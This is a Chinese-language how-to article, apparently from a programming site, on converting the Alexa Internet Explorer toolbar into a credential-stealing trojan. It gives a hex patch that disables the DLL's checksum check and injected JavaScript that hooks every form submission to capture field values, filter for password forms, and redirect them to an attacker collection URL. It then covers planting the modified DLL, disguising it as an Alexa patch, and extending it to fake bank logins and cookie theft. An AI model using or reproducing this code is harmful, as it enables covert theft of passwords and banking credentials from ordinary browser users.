alexa是一个发布全球网站排名信息的网站,他的网址是http://www.alexa.com。alexa通过在客户端安装alexa工具条来收集采样全球网站的访问数据,以这些数据为依据对全球网站进行排名,类似于电视收视率的统计。alexa工具条是一种类似于google工具条的ie插件,你可以在下面url中下载:http://download.alexa.com/index.cgi。
一、alexa工具条的工作原理
alexa工具条是一种基于bho和toolbar bands技术的一种ie插件。它以dll文件的形式存在于系统中,是一种com组件,ie会在运行时将其加载到自身进程中去,所以一般情况下防火墙是无法禁止该软件访问网络的,这就为他的木马角色提供了先天的便利,而且比本机sniff软件收集密码的优势是:无论是http还是https的网站,不管通信通道是否加密,只要是ie页面的表单都能收集到。具体原理可以查阅《关于alexa排名作弊的一些解惑》。
系统在安装了alexa工具条后,会在系统目录下生成alxtb1.dll和alxres.dll两个dll文件(有些情况下是alxtb2.dll,而不是alxtb1.dll。那是因为alexa工具条会自动上网更新的原因)。alexa工具条的主要二进制代码存在于alxtb1.dll文件中,这个文件同时也被注册成多个com组件,他完成了bho和toolbar bands的com接口,并将ie的webbrowser控件封装为一个com组件供alxres.dll调用。alxres.dll文件仅包含少量的二进制代码,大量的代码是html和javascript代码,他们以资源的形式存在于alxres.dll文件中,你可以通过res://alxres.dll/chtml/about.html这样的url来访问这些资源。也许你会奇怪:又不是做网站,为什么软件的代码会是javascript写的?这就是alexa工具条垃圾的地方。alexa工具条的主界面是由html+javascript实现的。这些javascript代码通过调用alxtb1.dll实现的com接口来实现软件的全部功能。这样做不仅导致软件的效率低下,而且产生大量的资源泄漏,绝对是一种very超级sb的开发模式,但是却为我们修改alexa工具条的功能提供了方便——根本不需要cracker知识,只要一个pe资源修改工具就可以对alexa工具条的代码进行修改了。
二、破解alexa工具条
当然,alexa也不是真傻,绝对不会蠢到让自己的代码被你用资源修改工具随便改。为了防止alxres.dll中的资源被随意修改,他采取了计算文件校验和的保护方法,要是发现文件被修改,就会拒绝加载。我们在修改代码前,必须破解这种保护机制。
alxtb1.dll导出一个名叫checksumresources的函数,这个函数就是用来计算文件校验和的。用c32asm反汇编alxres.dll文件,查看字符串调用列表,找到"checksumresources"字符串,跳转到调用该字符串的代码,于100017c0处。往下翻几行,在100017f6处找到一句跳转,采用爆破方式,用nop指令覆盖jnz指令即可。通俗点讲:就是将alxres.dll文件偏移"0x17f6"处的两个字节"75 11"改成"90 90",你可以使用winhex之类的16进制编辑软件来修改。
::100017c0:: 68 9c700010 push 1000709c \:byjmp jmpby:100017a4,100017b1, \->: checksumresources
::100017c5:: 57 push edi
::100017c6:: ff15 1c500010 call [1000501c] >>>: kernel32.dll:getprocaddress
::100017cc:: 85c0 test eax, eax
::100017ce:: 74 0e je short 100017de \:jmpdown
::100017d0:: 8d4d dc lea ecx, [ebp-24]
::100017d3:: 51 push ecx
::100017d4:: ff35 44740010 push dword ptr [10007444]
::100017da:: ffd0 call eax
::100017dc:: 59 pop ecx
::100017dd:: 59 pop ecx
::100017de:: 57 push edi \:byjmp jmpby:100017ce,
::100017df:: ff15 18500010 call [10005018] >>>: kernel32.dll:freelibrary
::100017e5:: 8d45 b8 lea eax, [ebp-48]
::100017e8:: 50 push eax
::100017e9:: 8d45 dc lea eax, [ebp-24]
::100017ec:: 50 push eax
::100017ed:: e8 ae060000 call 10001ea0 \:jmpdown
::100017f2:: 59 pop ecx
::100017f3:: 85c0 test eax, eax
::100017f5:: 59 pop ecx
::100017f6:: 75 11 jnz short 10001809 \:jmpdown ;就是修改这里
现在我们可以毫无顾忌的修改alxres.dll中的资源了。
三、修改alexa工具条的代码
熟悉ie编程的人都知道,dwebbrowserevents2接口是用来接收webbrowser的事件通知的,我们可以在alxres.dll的javascript代码中找到这些些对应的函数。在res://alxres.dll/script/evt.class.js的代码中,有一系列的javascript函数,对应于dwebbrowserevents2接口的成员,如:documentcomplete->bp_ondocumentcomplete,navigatecomplete2->bp_onnavigatecomplete,beforenavigate2->bp_onbeforenavigate。按照dwebbrowserevents2接口,我们可以在beforenavigate2中截获postdata,但是在alxres.dll的代码中,这个接口没有完全实现。在dwebbrowserevents2接口中的原型是:
void beforenavigate2(idispatch *pdisp,
variant *&url,
variant *&flags,
variant *&targetframename,
variant *&postdata,
variant *&headers,
variant_bool *&cancel
);
这其中的postdata包含了的post数据。而bp_onbeforenavigate的函数原型:
function bp_onbeforenavigate(oparentwebbrowser2, owebbrowser2, surl, bpostdata, sheaders);
其中,bpostdata只是个bool类型的变量。此路不通,必须另想办法。
一般来说,我们在ie中输入的用户名密码都是通过表单提交到服务器的,如果能在表单提交前截获表单的内容就可以实现窃取密码了。在javascript中,只要处理表单的"onsubmit"事件,就可以先于提交而处理表单的内容。而alxres.dll的功能也是由javascript实现的,所以我们就无需面对繁琐的com接口,而直接使用javascript了。
这里我推荐使用resource hacker来修改alexres.dll中的资源,个人感觉比exescope用起来爽多了。
四、截获网页表单的内容
我现在使用的方法有些类似于"跨站点脚本执行漏洞"。先来看看"res://alxres.dll/script/evt.class.js"中的"bp_ondocumentcomplete"函数:
function bp_ondocumentcomplete(oparentwebbrowser2, owebbrowser2, surl);
该函数在ie的当前浏览页面被加载完成时被调用,其中的 owebbrowser2 参数可以当作当前ie正在浏览的页面的window对象。如果你懂得javascript的话,接下来要做的事情就十分简单了。添加如下代码:
function bp_ondocumentcomplete(oparentwebbrowser2, owebbrowser2, surl) {
... ...
try{
for(i=0;i<owebbrowser2.document.forms.length;i++)
{
owebbrowser2.document.forms[i].onsubmit=test;
}
}catch(e){}
return false;
}
这段代码的作用就是枚举当前页面中所有的表单对象,并为这些表单定义onsubmit事件。接下来就是完成test函数了:
function test()
{
try{
window.alert("i can get the value!");
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!="")
{
window.alert(this.elements[i].name+":"+this.elements[i].value);
//do some thing
}
}
}catch(e){}
return true;
}
不过用这种方法存在一点弊端:当表单是通过javascript语句"submit()"提交时,不会产生"onsubmit"事件,上面的代码也就无法纪录下表单的内容了。可以采用改变表单提交地址的方法来解决这个问题:
function bp_ondocumentcomplete(oparentwebbrowser2, owebbrowser2, surl) {
... ...
try{
for(i=0;i<owebbrowser2.document.forms.length;i++)
{
owebbrowser2.document.forms[i].innerhtml=owebbrowser2.document.forms[i].innerhtml+"<input name=originalaction type=hidden value=’"+owebbrowser2.document.forms[i].action+"’>";
owebbrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp";
}
}catch(e){}
return false;
}
以上的代码对于某些页面存在问题,有时会无法将隐藏字段添加到表单中去。
五、散布和植入木马
以上代码均是用pe资源软件修改alxres.dll文件实现的。所以,只要用新的alxres.dll文件将原来系统的alxres.dll替换掉。alexa工具条在加载的时候会优先在"c:\program files\inte.net explorer"和"c:\documents and settings\[username]\桌面"这两个路径下搜索alxres.dll,所以也可以把修改过的alxres.dll放到这两个路径下,这样就不用覆盖源文件了。至于怎么安装,那可是有一大堆的ie漏洞等着你去exploit呢,这可不是本文涉及的范围。
安装了alexa工具条的ie的"user-agent"会加入"alexa toolbar"的标记,所以很容易区分目标的ie是否已经安装了alexa工具条:
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.0; alexa toobar)
也可以修改alexa的安装文件,或者以alexa补丁的名义来发布,这个就扯远了。
六、收集密码
你可以用filesystemobject控件来将表单内容纪录到文件,或者直接作为参数发送到某个web服务器,由web服务器收集纪录下来即可。为了在客户端过滤一些不包含密码的表单,最好在alxres.dll的代码中对收集的表单数据进行一些检查:
function test()
{
var ispwdform=false;
var formstr;
try{
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!="")
{
if(this.elements[i].type=="password")
ispwdform=true;
formstr=formstr+this.elements[i].name+"="+this.elements[i].value+"&";
}
}
if(ispwdform)
{
//表单包含密码文本,进行收集
}
}catch(e){}
return true;
}
七、其他的应用
大多数的网上银行登陆界面是由activex控件实现的,无法截获表单数据,但是我们可以通过"owebbrowser2"对象来操纵、修改浏览的页面,当然也可以伪造一个网上银行的登陆界面。还可以用来收集用户浏览网页的纪录,也可以用来窃取用户cookie等。
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器